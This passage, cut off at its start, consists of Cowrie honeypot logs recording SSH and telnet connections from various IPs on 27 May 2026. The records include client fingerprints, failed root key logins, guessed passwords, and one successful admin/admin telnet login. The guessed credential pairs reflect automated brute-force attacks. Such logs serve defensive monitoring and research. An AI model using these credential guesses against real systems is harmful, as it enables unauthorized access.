f1:5d:f6:bb:9c:c1:80:7f:8f:e4:71:a3:29:9a:db:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.298371Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:5d:f6:bb:9c:c1:80:7f:8f:e4:71:a3:29:9a:db:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2V/I7t2wIFUXGoGMQ/JVZuSrXN7fgcHbcTLttAxrHaEORIXem2BRa6gxGxwS64yk/emXXdzglkxvXhI1sXVa0T/0L3RORZKFD91igDJMXfkHN19VqLms70zFON064SaICLlCijnZeFGwwQ6EhWf5TSInFMvg4u0RKOs5og5rnV4jS+IfANfcUyARqrinJH2CDqBu9rJdOuRxW7kUC3qhQyCO3SiQ5Eu/1HfKFANAWvLoWS75kpwNhEXWxksEgFHSV1g646qGP1efbcurirPCjO0JUQFN+7dne82tIqDbdPnyM5eOxIR5Ti8VTwY0YKnCvyN/Sv5VZhNfJZpO34HAt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.302145Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:fd:b3:58:5f:55:5e:7b:76:db:4a:87:ef:f2:fd:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBVEKcRYYEzx454lxpKEHaNEIDyDWTY98r1UtNaZImUFY5aYPlKTQwzei87rJcNTWxMrbt+qv/iUXj5mzJ8oKwqPlWMJ8GF1AI7nIBNOoO9597Z9JVDlG3798DEh7BA4xNGgAebuXmSWmrjSsM/JBGu3ATNthihhanK6lrR4eq+iQcXEtqvdvgj/4NvE40gvxO0ZSnl4VQTJkejErQdDVNUD/jYKWE7iRKHq3DF1a3DVnBIpgXSW2Uymq0Ekc4vt6Cqb2SJZ3oyawssICc++PXODUyUDbiQAXhpUXj4wIxG085UoteJMKeVD2JFyz4Bw7SQ7V0pZ7vnvO60tAKxYF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:fd:b3:58:5f:55:5e:7b:76:db:4a:87:ef:f2:fd:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.413705Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:fd:b3:58:5f:55:5e:7b:76:db:4a:87:ef:f2:fd:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBVEKcRYYEzx454lxpKEHaNEIDyDWTY98r1UtNaZImUFY5aYPlKTQwzei87rJcNTWxMrbt+qv/iUXj5mzJ8oKwqPlWMJ8GF1AI7nIBNOoO9597Z9JVDlG3798DEh7BA4xNGgAebuXmSWmrjSsM/JBGu3ATNthihhanK6lrR4eq+iQcXEtqvdvgj/4NvE40gvxO0ZSnl4VQTJkejErQdDVNUD/jYKWE7iRKHq3DF1a3DVnBIpgXSW2Uymq0Ekc4vt6Cqb2SJZ3oyawssICc++PXODUyUDbiQAXhpUXj4wIxG085UoteJMKeVD2JFyz4Bw7SQ7V0pZ7vnvO60tAKxYF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.417740Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:7a:10:92:bd:d4:26:87:2c:48:a3:ba:81:8e:11:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkQm7giV8s4mw9vGVSZsSpORxDT1R2ZMmNYoIgkpD8hC2c6qvunUY3QW4xdsWn8IO3gpxlxQiW6oZXDwIZDNGNLuTbJr5znnyHVUWJ1sZn4fyqIB1AGj7amTfH/HNWXL/tjwcUQr6UcDLicQGhjz+IsyTO3pEWXkaGpc3jGlkI4mtLuLzgAhcNFPFIx4tVXR97izOyCZawX4Efxny98bKOjjfTg/ms2ovpnxzOQs/fjc03h3+gCsshdjJnP2fMVspFXOilCwBIU21nalyF+LOJGrh1RBuF6DBrVUvzzHlAePJ/dJ3jQ3qDI/jxXTo9slP4vd1a+uxfYGJEr5zkzmWh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:7a:10:92:bd:d4:26:87:2c:48:a3:ba:81:8e:11:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.529217Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:7a:10:92:bd:d4:26:87:2c:48:a3:ba:81:8e:11:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkQm7giV8s4mw9vGVSZsSpORxDT1R2ZMmNYoIgkpD8hC2c6qvunUY3QW4xdsWn8IO3gpxlxQiW6oZXDwIZDNGNLuTbJr5znnyHVUWJ1sZn4fyqIB1AGj7amTfH/HNWXL/tjwcUQr6UcDLicQGhjz+IsyTO3pEWXkaGpc3jGlkI4mtLuLzgAhcNFPFIx4tVXR97izOyCZawX4Efxny98bKOjjfTg/ms2ovpnxzOQs/fjc03h3+gCsshdjJnP2fMVspFXOilCwBIU21nalyF+LOJGrh1RBuF6DBrVUvzzHlAePJ/dJ3jQ3qDI/jxXTo9slP4vd1a+uxfYGJEr5zkzmWh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.533012Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:6f:6d:7b:5e:56:fe:17:c0:3b:20:6d:3e:cd:0b:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvG+jtNRW8KXz1OQUjNJZ7Fbgn7TzWauxCb3vZ54mzir3PTIzBATd3BbdOwtz4flfgUb7JvJ6oGmFCRe1U30662+Bu/nXQM8R0nArwvM+feswzOJFNaFPiAhBL5M5c2BfqjkMRjkB2XfUN2AdaajZI209JgxjZ904kkjRyGijOZEJynR2sSLsZIKW3apJACpGfF6OW0eyv24ZNX/8nLDAi3aKRbXcB1NUjIolHhhbTvaTmozgJDTu/3L4/qdZOL66fZhB9Su6ovCNpLBWXR6JGfvbFRCdgXn6xOqaluNpf6O10DsMQl2zgueYnYbe/7mr4fCIZEwIJDEFWVHT0+yaT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:6f:6d:7b:5e:56:fe:17:c0:3b:20:6d:3e:cd:0b:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.646567Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:6f:6d:7b:5e:56:fe:17:c0:3b:20:6d:3e:cd:0b:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvG+jtNRW8KXz1OQUjNJZ7Fbgn7TzWauxCb3vZ54mzir3PTIzBATd3BbdOwtz4flfgUb7JvJ6oGmFCRe1U30662+Bu/nXQM8R0nArwvM+feswzOJFNaFPiAhBL5M5c2BfqjkMRjkB2XfUN2AdaajZI209JgxjZ904kkjRyGijOZEJynR2sSLsZIKW3apJACpGfF6OW0eyv24ZNX/8nLDAi3aKRbXcB1NUjIolHhhbTvaTmozgJDTu/3L4/qdZOL66fZhB9Su6ovCNpLBWXR6JGfvbFRCdgXn6xOqaluNpf6O10DsMQl2zgueYnYbe/7mr4fCIZEwIJDEFWVHT0+yaT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.650651Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:bb:8a:cf:84:c8:17:bd:0e:95:03:fe:25:cc:ad:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5U73RqwdMG/scgyHz6n/8PwecCVNk+7xrZI3Husl3rlA9DqRazBuTyaR0ixnVwlUov+xGQ22kWDjg7uPcXtrdbzqLZX3K3tDamqc4v/oHQa/enrPUFJRt8dryFc2Cs/4UNPcAGXy4r2amJSAcObV10ERxLP3YfWC7OILFbfJk1Gc+8ukTOi+ozf4M2l0imIDEamGaXi5kXGQsicy50bz+6mbXEMChTFeCJ32+OfDQPVv7LbbSNs7NHTaRv6UhkV0jrgdctYtutIKG7XbXDf4ln01IHNR0uanz51HQUMMGb/bwRT5lWJS+uiPb0ac1EQac9rMpLP1j0/63+4ltHGF/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:bb:8a:cf:84:c8:17:bd:0e:95:03:fe:25:cc:ad:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.772389Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:bb:8a:cf:84:c8:17:bd:0e:95:03:fe:25:cc:ad:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5U73RqwdMG/scgyHz6n/8PwecCVNk+7xrZI3Husl3rlA9DqRazBuTyaR0ixnVwlUov+xGQ22kWDjg7uPcXtrdbzqLZX3K3tDamqc4v/oHQa/enrPUFJRt8dryFc2Cs/4UNPcAGXy4r2amJSAcObV10ERxLP3YfWC7OILFbfJk1Gc+8ukTOi+ozf4M2l0imIDEamGaXi5kXGQsicy50bz+6mbXEMChTFeCJ32+OfDQPVv7LbbSNs7NHTaRv6UhkV0jrgdctYtutIKG7XbXDf4ln01IHNR0uanz51HQUMMGb/bwRT5lWJS+uiPb0ac1EQac9rMpLP1j0/63+4ltHGF/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.776533Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:18.892350Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":34176,"dst_ip":"10.17.0.5","dst_port":22,"session":"4390452be0d2","protocol":"ssh","message":"New connection: 103.149.28.157:34176 (10.17.0.5:22) [session: 4390452be0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:23.794095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:23.798725Z","src_ip":"103.149.28.157","session":"4390452be0d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:24.045499Z","src_ip":"103.149.28.157","session":"4390452be0d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lllllll","message":"login attempt [root/lllllll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:24.789665Z","src_ip":"103.149.28.157","session":"4390452be0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.60081458091736,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:24.852917Z","src_ip":"135.148.14.151","session":"e63e6e9ffb9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:26.039139Z","src_ip":"103.149.28.157","session":"4390452be0d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60848,"dst_ip":"159.203.135.109","dst_port":23,"session":"fabc0363e7e4","protocol":"telnet","message":"New connection: 135.148.14.151:60848 (159.203.135.109:23) [session: fabc0363e7e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:30.252365Z"}
{"eventid":"cowrie.session.closed","duration":37.3728563785553,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:36.733718Z","src_ip":"135.148.14.151","session":"fcab689ea171","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"351218bc73bb","protocol":"telnet","message":"New connection: 135.148.14.151:37126 (159.203.135.109:23) [session: 351218bc73bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:37.287816Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37622,"dst_ip":"159.203.135.109","dst_port":23,"session":"92abb118da50","protocol":"telnet","message":"New connection: 135.148.14.151:37622 (159.203.135.109:23) [session: 92abb118da50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:39.359009Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38226,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf99306d3c57","protocol":"telnet","message":"New connection: 135.148.14.151:38226 (159.203.135.109:23) [session: cf99306d3c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:40.606949Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38482,"dst_ip":"159.203.135.109","dst_port":23,"session":"073e562e2765","protocol":"telnet","message":"New connection: 135.148.14.151:38482 (159.203.135.109:23) [session: 073e562e2765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:47.149702Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45002,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5db79d969a2","protocol":"telnet","message":"New connection: 135.148.14.151:45002 (159.203.135.109:23) [session: f5db79d969a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:54.309002Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:57.127059Z","src_ip":"38.210.202.27","session":"6bf1e4b47ed3","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:57.180768Z","src_ip":"38.210.202.27","session":"6bf1e4b47ed3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53956,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ee64b643ff0","protocol":"ssh","message":"New connection: 89.223.69.22:53956 (10.17.0.5:22) [session: 2ee64b643ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:00.959342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:00.965915Z","src_ip":"89.223.69.22","session":"2ee64b643ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:01.088673Z","src_ip":"89.223.69.22","session":"2ee64b643ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aladin","message":"login attempt [root/aladin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:01.442455Z","src_ip":"89.223.69.22","session":"2ee64b643ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58496,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1cd6cf078a6","protocol":"ssh","message":"New connection: 193.228.128.84:58496 (159.203.135.109:22) [session: e1cd6cf078a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:02.547209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:02.556141Z","src_ip":"193.228.128.84","session":"e1cd6cf078a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:02.566483Z","src_ip":"89.223.69.22","session":"2ee64b643ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:02.664957Z","src_ip":"193.228.128.84","session":"e1cd6cf078a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thunder1","message":"login attempt [root/thunder1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:02.982728Z","src_ip":"193.228.128.84","session":"e1cd6cf078a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:04.088631Z","src_ip":"193.228.128.84","session":"e1cd6cf078a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":33064,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9630d061821","protocol":"ssh","message":"New connection: 37.233.85.71:33064 (10.17.0.5:22) [session: b9630d061821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:06.753376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:06.758938Z","src_ip":"37.233.85.71","session":"b9630d061821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:06.866253Z","src_ip":"37.233.85.71","session":"b9630d061821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbbvcxz","message":"login attempt [root/zxcvbbvcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:07.179717Z","src_ip":"37.233.85.71","session":"b9630d061821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00191617012024,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:07.616520Z","src_ip":"105.209.159.189","session":"a12e9fa52f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148630142212,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:07.667298Z","src_ip":"105.209.159.189","session":"9125c9a0af15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:08.287634Z","src_ip":"37.233.85.71","session":"b9630d061821","protocol":"ssh"}
